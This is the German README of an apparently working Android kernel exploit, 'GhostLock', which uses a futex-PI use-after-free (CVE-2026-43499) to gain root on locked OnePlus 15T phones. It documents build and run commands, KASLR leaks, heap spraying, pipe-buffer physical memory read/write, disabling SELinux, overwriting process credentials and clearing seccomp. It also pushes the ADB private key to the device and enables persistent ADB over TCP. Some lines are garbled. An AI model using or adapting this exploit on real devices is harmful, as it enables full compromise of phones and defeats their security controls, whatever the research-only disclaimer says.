
Kernel-Exploit (CVE-2026-43499) für das OnePlus 15T mit nicht entsperrtem Bootloader
Kernel-Exploit, der auf OnePlus-15T-Geräte mit gesperrtem Bootloader abzielt. Nutzt CVE-2026-43499, um Root-Zugriff zu erlangen, ohne den Bootloader zu entsperren oder boot.img zu verändern.
Nur für autorisierte Sicherheitsforschung und Bildungszwecke.
Geändert aus dem ursprünglichen GhostLock-for-OnePlus-Repository, angepasst an das physische Speicherlayout und CPU-Timing des OnePlus 15T (PLZ110 / SM8850 / Snapdragon 8 Elite).
| Punkt | Detail |
|---|---|
| CVE | CVE-2026-43499 |
| Typ | Futex-PI (Priority Inheritance) Use-After-Free |
| Betroffen | Linux-Kernel 2.6.39 ~ 7.1 |
| Behoben in | Mainline 7.1 (Commit 3bfdc63936dd) |
| Android-Status | GKI 6.12.x weiterhin verwundbar |
Der Syscall pselect6 kopiert fd_set auf den Kernel-Stack. In Kombination mit dem Futex-PI-Waiter-Mechanismus kann ein freigewordener Stack-Frame als rt_mutex_waiter-Struktur neu zugewiesen werden. Während der PI-Kettendurchläufe schreibt das Rebalancing des rb-Baums kontrollierte Daten an beliebige Kernel-Adressen.
futex PI UAF (CVE-2026-43499)
├─ Forge rt_mutex_waiter object
├─ Control kernel stack via pselect/select fd_set layout
├─ Trigger rt_mutex PI operation for arbitrary write
├─ Write 1: selinux_state.enforcing = 0
└─ Write 2: cred → init_cred (uid=0, full capabilities)
| Gerät | Codename | SoC | Kernel | Firmware | Status |
|---|---|---|---|---|---|
| OnePlus 15T | PLZ110 | SM8850 (Snapdragon 8 Elite) | 6.12.38-android16-5-g844001fb8721-ab14552068-4k | ColorOS 16.0.9.400 | ✅ Verifiziert |
Für Ace 6T und OnePlus 15 siehe das ursprüngliche Repository.
GhostLock übernimmt die Privilegieneskalation. Für die KernelSU-Installation wird ksud benötigt (gebündelt mit KMI-spezifischem kernelsu.ko):
| Quelle | Hinweise |
|---|---|
| ReSukiSU APK (empfohlen) | ReSukiSU installieren; das APK enthält libksud.so |
Ohne ksud erhält der Exploit weiterhin eine Root-Shell mit uid=0, aber KernelSU wird nicht installiert und
subleibt nicht erhalten.
ANDROID_NDK_HOME oder ANDROID_NDK_ROOT setzen# Default (API 35)
make
# Specify API level
make API=34
# Specify NDK path
NDK=/path/to/android-ndk make
ghostlock — statisch gelinkte ARM64-ELF-Binärdatei.
# 1. Enable ADB TCP mode
adb tcpip 5555
# 2. Push ADB key (required for bootstrap mode)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# 3. Push the exploit
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e
Nach dem ersten Erfolg setzt
resetpropautomatischpersist.adb.tcp.port=5555, sodass bei späteren Neustarts vollautomatische Ausführungen möglich sind.
/data/local/tmp/a/e
/data/local/tmp/a/e --bootstrap
setprop ADB TCP 5555 zu aktivieren127.0.0.1:5555/data/local/tmp/a/e --write1
Die Offsets sind in der Nachschlagetabelle src/devices/offsets.h gespeichert, mit uname -r als Schlüssel. Das Programm gleicht beim Start automatisch ab; unbekannte Kernel werden abgelehnt.
static const struct kernel_offsets known_offsets[] = {
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
{ .uname_r = NULL } /* sentinel */
};
Wenn Kernel-Zeiger eingeschränkt sind (kptr_restrict), wird die Basisadresse über eine mit einer Kernel-Adresse überschriebene boot_id geleakt:
Read /proc/sys/kernel/random/boot_id
└─ UUID contains nfulnl_logger address
└─ KASLR slide = leaked_addr - image_offset
└─ kaslr_base
Wenn das ashmem-Gerät zugänglich ist, werden die Lese-/Schreib-Primitive von configfs verwendet, um Funktionszeiger aus der ashmem-fops-Tabelle zu lesen und den KASLR-Offset zu berechnen.
Fälscht Kernel-Objekte auf Order-3-Seiten (32 KB):
file_operations — übernimmt den fops-Zeiger des ashmem-miscdevicert_mutex_waiter — simuliert Waiter-Knoten der PI-Kettetask_struct — Task-Referenz während des PI-Durchlaufsrt_mutex (Sperre) — korrekte Waiter-/Owner-InformationenImplementiert über SKB (Socket-Buffer) + KernelSnitch:
mm_struct-Adressensendmsg zum Füllen des Kernel-HeapsNach Erhalt der KASLR-Basis werden Pipe-Puffer für den Speicherzugriff auf physischer Ebene verwendet:
1. Locate pipe buffer in physmap
2. Forge pipe_buffer ops table pointing to known pipe_buf_ops
3. Hijack pipe_buffer.page to target physical address
4. Arbitrary physical read/write via normal pipe operations
Unterstützt: pipe_read64, pipe_write64, pipe_phys_read_data, pipe_phys_write_data
Target: selinux_state.enforcing (offset 0x00)
Method: child-node PI write → forge waiter __rb_parent_color
pointing to selinux_enforcing - 8
rb-tree rebalance writes 0x00
Target: child process cred pointer
Method: 1. fork child → perf_find_task() locate task_struct
2. calculate cred field offset
3. child-node PI write → cred = init_cred (uid=0, full caps)
4. clear seccomp (TIF_SECCOMP + seccomp struct zeroed)
Nach der cred-Überschreibung wird eine Rückleseüberprüfung der Capabilities durchgeführt.
src/core/miniadb.c — leichtgewichtiger ADB-Protokollclient für den Bootstrap-Modus:
1. TCP connect 127.0.0.1:5555
2. A_CNXN → connection request
3. A_AUTH → RSA token challenge
4. dlopen("libcrypto.so") → PEM_read_bio_RSAPrivateKey → RSA_sign
5. A_AUTH (AUTH_SIGNATURE) → signed response
6. A_CNXN → connection established
7. A_OPEN "shell:/data/local/tmp/a/e" → full exploit
Unterstützt die Signaturalgorithmen SHA-1 und SHA-256.
ghostlock-oneplus/
├── Makefile # Build configuration (NDK cross-compile)
├── README.md # Documentation
├── src/
│ ├── core/ # Core exploit code
│ │ ├── main.c # Entry point: two-stage write + root shell
│ │ ├── fops.c # FOPS/CFI mode: pselect route, PI write, KASLR leak
│ │ ├── util.c # Utilities: heap spray, KASLR, kernel R/W primitives
│ │ ├── slide.c # SLIDE mode: boot_id KASLR leak + pselect route
│ │ ├── pipe.c # Pipe buffer physical memory R/W (physrw)
│ │ ├── root.c # Cred overwrite, seccomp clear, root child mgmt
│ │ ├── miniadb.c # Built-in ADB client (TCP + RSA auth)
│ │ ├── common.h # Global macros, structs, declarations, constants
│ │ ├── target.h # Target memory layout / struct offsets / KASLR params
│ │ ├── offset.h # Compile-time target config bridge (#include TARGET_CONFIG_H)
│ │ └── kernelsnitch/ # KernelSnitch — mm_struct address leak
│ │ ├── kernelsnitch.h # Core algorithm: futex hash collision + brute-force
│ │ ├── futex_hash.h # Futex hash function
│ │ ├── timeutils.h # CPU timestamp measurement (RDTSC)
│ │ └── utils.h # Helper macros (pr_info / SYSCHK / ASSERT etc.)
│ └── devices/ # Device offset tables
│ ├── offsets.h # Aggregate all device offsets (lookup table + sentinel)
│ ├── ace6t/offsets.h # OnePlus Ace 6T offsets (2 kernel versions)
│ └── op15/offsets.h # OnePlus 15 offsets (1 kernel version)
└── tools/ # Offset extraction toolchain
├── extract_target.py # Extract kallsyms global symbol offsets (28 items)
└── extract_btf.py # Extract BTF struct field offsets (57 items)
Dieses Repository wurde modifiziert; weitere Details finden Sie im ursprünglichen Repository.
Stellen Sie sicher, dass Sie in einer ADB-Shell laufen. Im App-Kontext ist --bootstrap erforderlich.
Ihre Kernel-Version wird noch nicht unterstützt. Folgen Sie Neue Geräte hinzufügen, um Offsets zu extrahieren und neu zu bauen.
CORE-Makro)PSELECT_ENTER_DELAY_USEC anpassenperf_event_open blockiert (im App-Kontext --bootstrap verwenden)kaslr_base gültig)ksud vorhanden und ausführbar istload_policy-Fix)Nur für autorisierte Sicherheitsforschung und Bildungszwecke.
| CI-Release | Von ReSukiSU CI herunterladen (ksud-aarch64-linux-android.zip) |
| Typ | Anzahl | Extraktion |
|---|
| Globale kallsyms-Symbole | 28 | tools/extract_target.py |
| BTF-Strukturfelder | 57 | tools/extract_btf.py |
| Abgeleitete Werte | 9 | Automatisch berechnet |
| Feste Konstanten | 12 | Hartkodiert |
| Struktur | Felder | Zweck |
|---|
task_struct | 17 | Prozessdeskriptor, cred, seccomp |
rt_mutex_waiter | 6 | UAF-Forge-Ziel |
cred | 4 | Anmeldeinformationen, Capabilities |
seccomp | 3 | Seccomp-Filterstatus |
pipe_inode_info | 11 | Pipe-Puffer-Operationen |
file_operations | 13 | Gefälschte fops-Tabelle |
mm_struct | 1 | Speicherdeskriptor-Eigentümer |
| Modul | Datei(en) | Verantwortung |
|---|
| Einstieg | main.c | CLI-Parsing, W1/W2-Dispatch, Bootstrap-Ablauf |
| PI-Route | fops.c / slide.c | pselect/select-Stack-Layout, Futex-PI-Kettenmanipulation |
| KASLR | util.c / fops.c / slide.c | Dual-Mode-Bypass: boot_id-Leak + fops-Tabellen-Leak |
| Heap-Spray | util.c | Order-3-Seitenallokation, SKB-Spray, Forge-Objektlayout |
| Phys R/W | pipe.c | Pipe-Puffer-Übernahme, beliebiger physischer Speicherzugriff |
| Privilegieneskalation | root.c | cred-Überschreibung, Capability-Überprüfung, seccomp-Entfernung |
| ADB | miniadb.c | Leichtgewichtiger ADB-Protokollclient, RSA-Auth |
| Leak-Engine | kernelsnitch/ | Futex-Hash-Kollision zur mm_struct-Lokalisierung |